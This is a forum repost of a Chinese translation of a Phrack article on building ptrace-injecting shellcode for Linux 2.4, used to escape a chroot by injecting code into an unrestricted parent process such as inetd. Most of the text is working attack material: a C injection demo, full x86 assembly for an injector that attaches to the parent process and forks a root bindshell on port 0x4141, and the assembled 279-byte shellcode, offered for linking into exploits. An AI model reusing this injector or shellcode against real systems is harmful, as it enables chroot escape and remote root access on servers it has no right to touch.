发新话题
打印

[转载]Building ptrace injecting shellcodes (Phrack-0x0c)

[转载]Building ptrace injecting shellcodes (Phrack-0x0c)

信息来源:绿盟

==Phrack Inc.==

          Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12

|=---------------=[ Building ptrace injecting shellcodes ]=--------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ anonymous author <p59_0c@author.phrack.org ]=-----------=|
|=-----------------------------------------------------------------------=|
|=--------------------[ ICBM<icbm@cmmail.com> 翻译整理 ]------------------=|
---[ 目录

1 - 测试环境
2 - 为什么我们要做ptrace injecting shellcode ?
3 - 什么是ptrace
  3.1 - 要求
  3.2 - 库是怎么调用ptrace的
4 - 向一个进程里注入代码 - C代码
  4.1 - 堆栈是我们的朋友
  4.2 - 被注入的代码
  4.3 - 我们的第一个C代码
5 - 第一次尝试生成shellcode
  5.1 当你需要可以被trace的进程
  5.2 等待(为了爱?:)
  5.3 寄存器你在哪里?
  5.4 插入到进程里
  5.5 你会长大成人的,我的孩子.
6 - 参考和感谢

---[ 1 - 测试环境

首先,必须确定测试平台的环境。我已经在linux 2.4.18 i386堆栈可以执行的情况下测试了所有这些技术,
它们适用于linux的任何发行版本,但不包括那些不允许执行堆栈的版本。这是因为进程注入这种技术需要
向堆栈里插入代码。通过微小的改动,这些技术或许可以在任何平台与系统中使用,只要它们支持ptrace()
系统调用。

---[ 2 - 为什么我们要做ptrace injecting shellcode ?

从linux内核2.4.x中的某一个版本起,要突破chroot的限制,已经不能使用原来那些广为人知的方法了。
linux的chroot现在限制了VFS的使用,如果你获得了一个被chroot的rootshell也没有什么用处(从理论
上来说),除非你修改ftp目录树(以FTP服务器为例)。

如果uid为0的话,可以允许我们去做一些不会被VFS限制的事情(在标准内核2.4的VFS中):
- 可更改一些内核参数(时间,等等...)。
- 可插入一个内核模块(可能会有用,但是因为空间的限制要包含一个shellcode是非常困难的。有个wuftpd2.5
的exploit就是上传一个内核后门和一个被静态连接的insmod,但要成功的实现这种方法会比使用的
ptrace_shellcode复杂的多。)- 可以使用一些和VFS相关的东西,如打开文件描述符。
- 可以debug系统上的任何进程。

chroot系统中存在一个漏洞,在被chroot的环境中root用户仍然可以ptrace系统中的任何进程(当然除了init)。
这种技术也非常通用可能在非root进程上,不使用打开文件描述符的方法时也能使用它),举例来说一个被chroot
的apache可以影响到fingerd。(有内核补丁已经修正了这个漏洞)

这样我们就有了一个实现ptrace shellcode的想法。我们可以用这个shellcode跟踪一个没有被限制的进程,然后
把一个会运行bindshell的shellcode注入进去。
以下就是我们对这个ptrace shellcode的要求:

- 相对较小(可以像一个真正的shellcode一样使用)。我看到在一些exploits里(像在7350wu中)使用了一个
较小的shellcode来调用read(0,%esp,shellcode_len),这是个非常好的方法,可以用来插入一个较大的shellcode。
所以我们对大小这一项的要求并不是非常严格。

- 必须能在很短的时间内多次运行。
如果第一次运行shellcode失败(比如:端口已经被使用了),要求被跟踪的进程不能崩溃。(在wuftpd的例子里,
如果我们向inetd里注入恶意代码,它就会监听ftp的连接)

- 目标进程的选择应该是大多数时间都是父进程(ftp server的inetd)而且通常拥有完全root权限的进程。当然,
我们也可以尝试所有的pid,比如从2开始直到我们找到可以被跟踪利用的进程。

- 我们不能在/proc里找要被跟踪利用的进程。

以上的要求都可以被完全实现,而且我认为对大部分exploit的情况都适用。

---[ 3 - ptrace是什么

3.1 - 要求

你或许知道ptrace的用途是为了能够在用户模式下跟踪调试进程。每个进程一次只能被一个进程跟踪,而且这两个进程
必须是同一个用户拥有的或者跟踪进程为root所拥有。在linux下命令ptrace全部是由ptrace()这个系统调用来完
成的,他带了4个参数。它的原型声明是:
#include <sys/ptrace.h>

     long  int ptrace(enum __ptrace_request request, pid_t pid,
     void * addr, void * data)


&#39;request&#39; 是符号常量定义在sys/ptrace.h里。我们可以使用以下这些宏:


PTRACE_ATTACH :
   通过对进程号来设置需要调试的进程。

PTRACE_DETACH :
   取消对PTRACE_ATTACH设置的进程的调试。千万不要忘了取消PTRACE_ATTACH的设置,要么你跟踪的进程会
   停留在停止模式下,   而且不能远程恢复。

PTRACE_GETREGS :
   这条命令把进程的通用寄存器的值并存入data的数据结构中,addr忽略。data的数据结构是user_regs_struct,
   在asm/user.h 中这样定义:
struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
   };

PTRACE_SETREGS :
   这条命令和PTRACE_GETREGS的作用相反,用来设置通用寄存器的值。使用相同的参数。

PTRACE_POKETEXT :
   这条命令从data拷贝32 bits写入被跟踪进程的addr地址中。等同于PTRACE_POKEDATA。

有一点很重要,当你通过进程号跟踪进程时你不得不等待被跟踪的进程停止,所以必须等待SIGCHLD信号。
我们可以用wait(NULL)来完成这个任务。(在shellcode由waitpid来实现).

3.2 - 库是怎么调用ptrace的


因为我们要写的是汇编代码,所以我们必须知道怎么样才能直接调用ptrace这个系统调用。做了一些小测试后我们
可以知道库是怎么封装ptrace系统调用的,然后我们把它简化成这个样子:
eax is SYS_ptrace (十进制26)
ebx is request (比如:PTRACE_ATTACH为16)
ecx is pid
edx is addr
esi is data
如果发生错误,eax的值就为-1。

---[ 4 - 向进程中注入c代码

4.1 - 堆栈是我们的朋友

一些linux下的exploits使用了向%eip所指向的内存区域中直接注入普通的shellcode的方法。这其实是一种
偷懒的做法。因为%eip被指向了shellcode,所以被ptrace()跟踪的目标进程就不能接着运行下去了。(崩溃或者
不能fork)我们必须找到另一种方法来执行目标进程中的shellcode。
这就是我的想法:

1- 取得当前进程的eip和esp
2- esp减去4
3- 使用PTRACE_POKETEXT把eip的值写入新的esp所指的位置。
4- 把shellcode插入到esp - 1024这个地址(因为有一些shellcode使用了push指令,所以没有把shellcode
     直接插入到esp指的地方)
5- 把寄存器eip赋值为esp - 1024
6- 调用ptrace的SETREGS方式
7- 停止跟踪进程让它给你开一个root shell:)

因为shellcode被加载到堆栈里面,所以在不允许执行堆栈的系统上不能使用这种方法。这是这种方法的一个“特色”
而不是一个bug。我还听说过一种方法:先注入shellcode,等待它完成(通常是fork以后)然后再恢复被跟踪进程原
来的初始状态。
这是确实是一种方法,但是我觉得它不一定有效。因为non-exec补丁同样禁止了使用ptrace跟踪没有被限制的进程。
(起码grsec是这样做的。)

之后目标进程看起来会是这样:
[DOWN][program stack][old_eip][craps for 1024 bytes][shellcode][UP]
              ^> 原来的esp指向这里          新的 eip<^
                 新的<^>esp指向这里
还有一件很重要的工作就是要在shellcode前面放两个nops。原因很简单:如果ptrace中断了一个正在执行
的系统调用,在PTRACE_DETACH后内核会从eip减去两个字节。

  4.2 - 被注入的代码
要被注入的代码在我们给它建立的堆栈上工作的很好:它可以调用fork(),还可以让原来的进程继续它的工作。
而新的进程会运行一个bindshell!
以下是s1.S的代码,可以被gcc编译:

/* 所有这些部分都要在被跟踪的进程里完成*/
/* 就是说, 这就是要被注入的shellcode  */
.globl injected_shellcode
injected_shellcode:
// ret的地址已经被压入了堆栈
nop
nop
pusha        // 保存寄存器原始值
xor %eax,%eax
mov $0x02,%al  //sys_fork
int $0x80     //fork()
xor %ebx,%ebx
cmp %eax,%ebx  // 父进程还是子进程 ?
je  son      // 子进程
//这里, 父进程, 恢复原始状态
father:
popa
ret /* 已经被push到堆栈上面了 */
// 父进程的代码结束

son: /* 标准shellcode, 由你选择 */
.string ""

local@darkside:~/dev/ptrace$ gcc -c s1.S
解释 :
最前面的nop就是我先前讨论过的, 因为在最终的shellcode里我选择把目标地址减2.然后,指令pusha
会把所有寄存器值保存到堆栈上,所以进程可以在fork后恢复它们,可以使进程恢复原始状态. (eax and ebx)
然后判断fork的返回值如果为零, 就说明现在运行的就是子进程。在这里我们可以使用任何类型的shellcode。
如果返回值不为零而是一个进程号,就代表这是父进程。恢复刚才保存的寄存器值。进程就会接着工作就象什么
事情都没有发生过。


  4.3 - 第一个c代码

讨论了这么多理论,现在让我们来个实际的例子。这里有个程序可以调用fork,跟踪它的子进程,注入代码,
最后再让代码运行杀死进程。
以下就是p2.c :

#include <stdio.h>
#include <sys/ptrace.h>
#include <linux/user.h>
#include <signal.h>
typedef long int pid_t;

void injected_shellcode();
char *hello_shellcode=
"\x31\xc0\xb0\x04\xeb\x0f\x31\xdb\x43\x59"
"\x31\xd2\xb2\x0d\xcd\x80\xa1\x78\x56\x34"
"\x12\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c"
"\x6f\x2c\x57\x6f\x72\x6c\x64\x20\x21" ;
/* Prints hello. What a deal ! */

char *shellcode;
int child(){
      while(1){
           write(2,".",1);
           sleep(1);
           }
      return 0;
      }
int father (pid_t pid){
      int error;
      int i=0;
      int ptr;
      int begin;
      struct user_regs_struct data;
      if (error=ptrace(PTRACE_ATTACH,pid,NULL,NULL))
           perror("attach");
      waitpid(pid,NULL,0);
      if(error=ptrace(PTRACE_GETREGS,pid,&data,&data))
           perror("getregs");
      printf("%%eip : 0x%.8lx\n",data.eip);
      printf("%%esp : 0x%.8lx\n",data.esp);

      data.esp -= 4;
      ptrace(PTRACE_POKETEXT,pid,data.esp,data.eip);

      ptr=begin=data.esp-1024;
      printf("Inserting shellcode into %.8lx\n",begin);
      data.eip=(long)begin+2;
      ptrace(PTRACE_SETREGS,pid,&data,&data);
      while(i<strlen(shellcode)){
           ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *)
(shellcode+i));
           i+=4;
           ptr+=4;
           }
      ptrace (PTRACE_DETACH,pid,NULL,NULL);
      return 0;
}
int main(int argc,char **argv){
      pid_t pid=0;
      if(argc>1)
           pid=atoi(argv[1]);
      shellcode=malloc( strlen((char*) injected_shellcode) +
           strlen(hello_shellcode) + 4);
      strcpy(shellcode,(char *) injected_shellcode);
      strcat(shellcode,(char *) hello_shellcode);
      printf("p2 : trying to launch shellcode on forked process\n");
      if(pid==0)
      pid=fork();
      if (pid){
           printf("I&#39;m the father\n");
           sleep(2);
           father(pid);
           sleep(2);
           kill(pid,9);
           wait(NULL);
      }else{
           printf("I&#39;m the child\n");
           child();
      }
      return 0;
}

上面的代码可用gcc -o p2 p2.c s1.S 来编译
下面是我复制粘贴的运行情况:
local@darkside:~/dev/ptrace$ ./p2
p2 : trying to launch shellcode on forked process
I&#39;m the father
I&#39;m the child
...%eip : 0x400c0a11
%esp : 0xbffff470
Inserting shellcode into bffff06c
.Hello,World !.

我们所预期的真的发生了:
进程被fork了,而且打印了一句:
"Hello, world!".

5 - 第一次尝试生成shellcode

在开始动手之前, 我们必须牢记我们的规则。我在编写代码的时候并没有考虑去优化它的大小(我会让bighawk或
pr1去优化它),而是使用了条件编译指令.
gcc -DLONG 会生成非常清晰的shellcode(以便检查等等)
gcc -DSHORT 会生成非常小的shellcode(非常小但不安全)。

所以,如果大小对我们非常重要,我们可以只使用exit(0)随便跳到哪里,或者如果对shellcode大小的要求不是很高,
我们就可以进行严格的测试。

  5.1 当你需要可以被trace的进程

先说一种基本的方法,首先给堆栈指针一个很大的值,因为我们不能确定堆栈指针是否小于当前的eip值
(在堆栈溢出的情况下)。
另一种简单偷懒的办法是,把esp的值赋为0xbffffe04就可以了。
在绝大多数linux/x86机器上esp都可以正常使用这个值,这个值接近堆栈底部,但又不至于太接近而且不包含零。
然后我们用系统调用getppid()得到父进程的进程号,接下来尝试attach它,如果失败,99%都是因为父进程是init。
所以我们可以改变进程号直到我们可以attach到一个进程为止。
(警告:要调试这一段代码是非常困难的。当你跟踪一个进程的时候,你自己就变成它的父进程了。所以,
shellcode就会attach到你的调试器,这样就会产生死锁。谁能告诉我一种(“又酷又好的反debugger技术?”)
所以我包含了一个DEBUG_PID预处理宏来测试否为debuger。放到你要注入东西的进程里用来判断是否是跟踪进程。

注意:进程号在12(%ebp)这里放着,这个对我们非常有用因为我们在整个系统调用期间都会用到它。

  5.2 等待 (为了爱 ?)

现在,shellcode要等待它的子进程了。有两种方法:
- waitpid(pid,NULL,NULL);
- 用个很大的循环;

因为我没有能够使能够达到时间上要求的循环的,小于使用系统调用的shellcode,所以代码里只包含
系统调用。

  5.3 寄存器你在那里 ?

目标进程已经可以被跟改了,但是首先要取得寄存器的值。把寄存器ebp的值存入到esi里面,然后esi+16。
他将作为系统调用ptrace的参数"data"。所以,系统调用后,目标进程的寄存器值被存入以16(%eb)开始的
内存区域中。
这两个寄存器需要注意:
esp : (16+60)(%ebp)
eip : (16+48)(%ebp)

我们在前面已经讨论了关于寄存器的技术,但是并不完整,在后面的源代码里会包括"push"-like(等价于
push)的指令用来把旧的eip地址压入堆栈。

   5.4 注入进程
要把shellcode注入到进程当中,我使用了一循环来完成了这个工作。我们把宏SHELLCODELEN定义的值给
esp来做为循环的计数器(counter).在edi中我们保存了被注入的shellcode在当前进程里的地址,edx
保存了目标地址,而且预先减去了2。

  5.5 你会长大成人的,我的孩子

现在我们可以安全的取消对进程的跟踪了。如果你忘记detach进程(偷懒或者因为空间不够)进程就会一直
停在中断阶段,这就需要一个SIGCONT来启动我们的bindshell。
进行了这么多工作后,shellcode可以退出了,使用exit()系统调用通常不会给inetd警告信息或者在
syslog里产生警告信息。(对于“精简”的shellcode,"ret"可能会产生segfault然后就会关闭进程。)

我使用的那个bindshell会绑定端口到0x4141。要注意的一点是如果在很短时间内执行两次shellcode会阻
塞端口0x4141几分钟,在编写这个代码时确实是很恼人的。

这个shellcode还没有精简大小。你可以用gcc -DLONG -c -o injector.o injector.S来编译后面
附带的代码,
然后链接到你的exp上面。在代码里面没有任何null字符,但我不敢保证有没有换行,回车,空格,百分比,
0xff,这些字符。

---[ 6 - 参考和感谢

ptrace()的手册非常酷,清晰,很参考价值等等。

Intel documentation book 2 : 在实现用 一字节指令编程
(1-byte-instructions-which-does-everything)方面这是一本非常有用的书。

特别鸣谢来自minithins.net, UNF的家伙们,我温柔的女朋友,还有at&t他们自己的非常酷的asm语法。
同样感谢#fr,#ircs,#!w00nf,#segfault,#unf谢谢他们给我的特殊支持, 特别是double-p ,fozzy和
OUAH感谢他们改正了我的语法错误并且提出了很多建议。

---[ 译者语

一. ptraceshellcode产生的原因:

  如果linux系统使用了内核2.4.18或者更新的内核,在上面存在已知的漏洞就不能利用了,并不是这些
漏洞被更正了,而是linux内核改变了chroot。(比如说7350wu可以在2.4.10的内核上使用,但是升级
到2.4.18就不成功了)要在解决2.4.18上面突破chroot的问题,就要使用ptrace_shellcode。

二. ptrace的广泛应用:

  ptrace()是一个可以在用户模式下调试跟踪进程的函数,因为它可以从某一地址读取数据,或者向某
一地址写数据,也可以读取和更改寄存器的值,所以可以用来做一些在进程运行状态下来改变进程状态或
者更改进程数据的工作(可以参考man ptrace)。这样就产生了一系列的技术,像Runtime Process
Infection,backdooring binaries,ptraceshellcode等等。这篇文章就是介绍ptrace_shellcode的。

三. ptrace在shellcode的应用:

  ptrace这种技术在ptraceshellcode方面是利用了chroot的一个漏洞。因为在<=2.4.18的标准内核
上面并没有限制对ptrace的使用,所以ptrace可以跟踪调试其他没有被chroot限制的进程,这样就可以
把shellcode注入到没有被限制的进程中然后运行。虽然ptraceshellcode已经有了很多的方法但是都
不是很完美,而这篇文章很好的解决其中的几个问题,比较重要的有两个:

  1. 要向那个进程注入普通的代码以便运行?
  在这里他使用了ppid(),就是父进程的pid。一般网络服务的父进程都拥有root权限,而且不会被
chroot。所以这里的shellcode就是用了一种很简单的方法来解决了这个问题。

  2. shellcode被运行后的问题。
  如果把shellcode注入一个进程,然后直接执行了shellcode,就会使这个进程不能正常工作或者崩溃,
然而这里使用了fork(),来解决了这个问题。让被注射的进程使用fork(),然后生成新的子进程来运行
shellcode,然后被kill掉。而原来的进程就会被回复到原始状态接着运行。使用这种办法就不会干扰到被
注射进程的运行。

  最后感谢要alert7,e4gle,dove与sst的成员对这篇翻译的帮助,当然还要感谢sunnet提供的平台使我们
可以在上面自由的交流:)。



<injector.s>
/* INJECTOR.S VERSION 1.0 */
/* Injects a shellcode in a process using ptrace system call */
/* Tested on : linux 2.4.18 */
/* NOT SIZE-OPTIMIZED YET */


#define SHELLCODELEN 30
   /* (the injected shellcode + bindshell)/4的大小 */
#ifndef SHORT
   #define LONG
#endif

#ifdef LONG
   #undef SHORT
#endif
.text
.globl shellcode
.type    shellcode,@function

shellcode:
/* 从这里开始进行注射 */

mov $0xbffffe04,%esp

/* 首先,要找到父进程号 */
xor %eax,%eax
mov $64,%al   /* sys_getppid   */
int $0x80
#ifdef DEBUG_PID
   mov $DEBUG_PID,%ax
#endif
   /* 把它放在堆栈上 */
mov %esp,%ebp   /* 把堆栈保存在堆栈指针 */
mov %eax,12(%ebp)   /* 把pid放在这里 */
/* 现在调用ptrace */
redo:
xor %eax,%eax
mov $26,%al   /* sys_ptrace */
mov 12(%ebp),%ecx
mov %eax,%ebx
mov $0x10,%bl   /* PTRACE_ATTACH */
int $0x80   /* ptrace(PTRACE_ATTACH,getppid(),NULL,NULL); */
xor %ebx,%ebx
cmp %eax,%ebx
je good   /* 我们没有严格检查它,或者ppid是否是init   */   
inc %ecx
mov %ecx,12(%ebp)
jmp redo

good:
/* 现在调用 waitpid(pid,NULL,NULL)   */
mov %eax,%edx /* NULL */
mov %ecx,%ebx /* pid */
mov %edx,%ecx /* NULL */
mov $7,%al /* SYS_waitpid */
int $0x80

getregs:
/*  得到进程所有的寄存器值 */
xor %eax,%eax /* waitpid绝对不会返回0的 ;) */
xor %ebx,%ebx
mov %ebp,%esi  
add $16,%esi   /* 16 up of the stack pointer */
mov $12,%bl   /* %ebx 为零, 使用PTRACE_GETREGS(12) */
mov 12(%ebp),%ecx /* pid */
mov $26,%al   

/* 因为PTRACE_GETREGS不使用addr所以没用%edx */
int $0x80

/* 寄存器的值都在16(%ebp)这里        */
/* 需要关注这两个 : %eip and %esp       */
/* %eip : (16+48)(%ebp)        */
/* %esp : (16+60)(%ebp)        */
/* rq : 12(%ebx) 父进程指针       */
/* 8(%ebx) 中包含  eip          */

custom_push:
sub $4,76(%ebp)      /* 减 esp */
mov 76(%ebp),%edi   /* 把它放到我们临时的eip中 */
sub $1036,%di
mov %edi,8(%ebp) /* 这就是我们要开始装载我的shellcode的地方*/

mov $26,%al
mov $4,%bl   /* PTRACE_POKETEXT*/
mov 12(%ebp),%ecx /*ppid */
mov 76(%ebp),%edx /* esp我们已经减过了 */
mov 64(%ebp),%esi /* 旧的eip */
int $0x80 /* 这是就是把%eip push到堆栈上工作  */
mov  %edi ,64(%ebp) /* 新的eip指向我们的shellcode, %edi == 8(%ebp) */
/* 现在把我们修改完的寄存器值放回去 */

setregs:
xor %eax,%eax
xor %ebx,%ebx
mov $26,%al
mov $13,%bl   /* PTRACE_SETREGS*/
/*  %ecx是ppid */
/* %edx 忽略 */
mov %ebp,%esi
add $16,%esi
int $0x80
/* 寄存器已经都被更新了,现在开始注入shellcode */
/* %edi : 在内存中我们存放shellcode的地方 */

jmp start
goback: /* 把要注入的shellcode的地址push到堆栈上面  */

mov %edi,%edx   /* addr */
dec %edx
dec %edx
/* 从系统调用返回, eip会比当前的eip提前2 */
/* 所以在这里使用两个dec %edx */
pop %edi   /* data */
xor %eax,%eax
mov $SHELLCODELEN,%al
mov %eax,%esp
mov $4,%bl

loop:
mov $26,%al
mov 12(%ebp),%ecx
mov (%edi),%esi
int $0x80
dec %esp
add $4,%edx  /* 目标 shellcode */
add $4,%edi  /* 本地 shellcode, source */
cmp %esp,%eax  /* Len > 0 ? */
jne loop   

detach:
mov $26,%al
xor %ebx,%ebx
mov $0x11,%bl   /* PTRACE_DETACH */
mov 12(%ebp),%ecx   /* pid */
//xor %edx,%edx
//xor %esi,%esi
int $0x80
/* Now we can exit */

failed:
#ifdef LONG
xor %eax,%eax      /* 用 exit */
mov %eax,%ebx
mov $1,%al   /* sys_exit */
int $0x80    /* 可怜的子进程,就这样安静的去了 */
#endif
#ifndef LONG
ret
#endif

start:
call goback

/* 这一部分的工作在被注入的进程进行 */
/* 也就是说,这就是我们要注入的代码  */

// 我们先前已经把返回地址push到堆栈上了
nop
nop
pusha      // 保存所有的寄存器
xor %eax,%eax
mov $0x02,%al  //sys_fork
int $0x80   //fork()
xor %ebx,%ebx
cmp %eax,%ebx   // 子进程还是父进程 ?
je  son      // 子进程
//这里,父进程,恢复初始状态
father:
popa
ret
/* 父进程代码完毕 */
son: /* 由你选择个标准的shellcode */

/* Bind shellcode */
lnx_bind:
xor %eax,%eax
cdq /* %edx= 0 */
push %edx /* IPPROTO_TCP */
inc %edx      /* SOCK_STREAM */
mov %edx,%ebx /* socket() */
push %edx
inc %edx      /* AF_INET */
push %edx
mov %esp,%ecx

mov $102,%al
int $0x80

mov %eax,%edi /* 把socket保存在%edi */

cdq /* %edx= sign of %eax = 0 */
inc %ebx /* bind */ /* 原来是1, 现在为2 */
push %edx /* 0.0.0.0 addr */
/*change \/ here */
push $0x4141ff02 /* 使用0x4141做端口 */
/*     /\    */


mov %esp,%esi /* 把sockaddr的地址保存在%esi里 */
push $16   /* 它的大小 */ //$16
push %esi /* struct sockaddr * */
push %edi /* socket 值 */
mov %esp,%ecx
   /* bind() */
mov $102,%al
int $0x80

/* 使用先前在堆栈上面保存的值 */
inc %ebx /*3...*/
inc %ebx /*4 */
mov $102,%al
int $0x80 /* Listen(fd,somehug) (somehuge 总是大于0的) */

push %esp   /* Len */
push %esi   /* sockaddr* */
push %edi   /* socket */
inc %ebx    /* 5 */
mov %esp,%ecx
mov $102,%al
int $0x80 /* accept */

xchg %eax,%ebx /* 保存file descriptor */
pop %ecx /* 取得%edi的值, 通常是%ebx-1 */
duploop:
mov $63,%al /* dup2 */
int $0x80
dec %ecx
cmp %ecx,%edx
jle duploop

//jnl loop /* 对于%ebx前的每一个file descriptor , dup2()它 */


/* 标准lnx_bin_sh_1 shellcode */
push %edx
push $0x68732f6e
push  $0x69622f2f
mov %esp,%ebx
push %edx
push %ebx
mov %esp,%ecx
mov $11, %al
int $0x80

.string ""

</injector.s>

<injector.h>
// compiled with -DLONG
// binds to port 16705
char injector_lnx[]=
"\xbc\x04\xfe\xff\xbf\x31\xc0\xb0\x40\xcd"
"\x80\x89\xe5\x89\x45\x0c\x31\xc0\xb0\x1a"
"\x8b\x4d\x0c\x89\xc3\xb3\x10\xcd\x80\x31"
"\xdb\x39\xc3\x74\x06\x41\x89\x4d\x0c\xeb"
"\xe7\x89\xc2\x89\xcb\x89\xd1\xb0\x07\xcd"
"\x80\x31\xc0\x31\xdb\x89\xee\x83\xc6\x10"
"\xb3\x0c\x8b\x4d\x0c\xb0\x1a\xcd\x80\x83"
"\x6d\x4c\x04\x8b\x7d\x4c\x66\x81\xef\x0c"
"\x04\x89\x7d\x08\xb0\x1a\xb3\x04\x8b\x4d"
"\x0c\x8b\x55\x4c\x8b\x75\x40\xcd\x80\x89"
"\x7d\x40\x31\xc0\x31\xdb\xb0\x1a\xb3\x0d"
"\x89\xee\x83\xc6\x10\xcd\x80\xeb\x34\x89"
"\xfa\x4a\x4a\x5f\x31\xc0\xb0\x1e\x89\xc4"
"\xb3\x04\xb0\x1a\x8b\x4d\x0c\x8b\x37\xcd"
"\x80\x4c\x83\xc2\x04\x83\xc7\x04\x39\xe0"
"\x75\xec\xb0\x1a\x31\xdb\xb3\x11\x8b\x4d"
"\x0c\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd"
"\x80\xe8\xc7\xff\xff\xff\x90\x90\x60\x31"
"\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xc3\x74"
"\x02\x61\xc3\x31\xc0\x99\x52\x42\x89\xd3"
"\x52\x42\x52\x89\xe1\xb0\x66\xcd\x80\x89"
"\xc7\x99\x43\x52\x68\x02\xff\x41\x41\x89"
"\xe6\x6a\x10\x56\x57\x89\xe1\xb0\x66\xcd"
"\x80\x43\x43\xb0\x66\xcd\x80\x54\x56\x57"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0"
"\x3f\xcd\x80\x49\x39\xca\x7e\xf7\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ;
/*size :279 */
</injector.h>

TOP

发新话题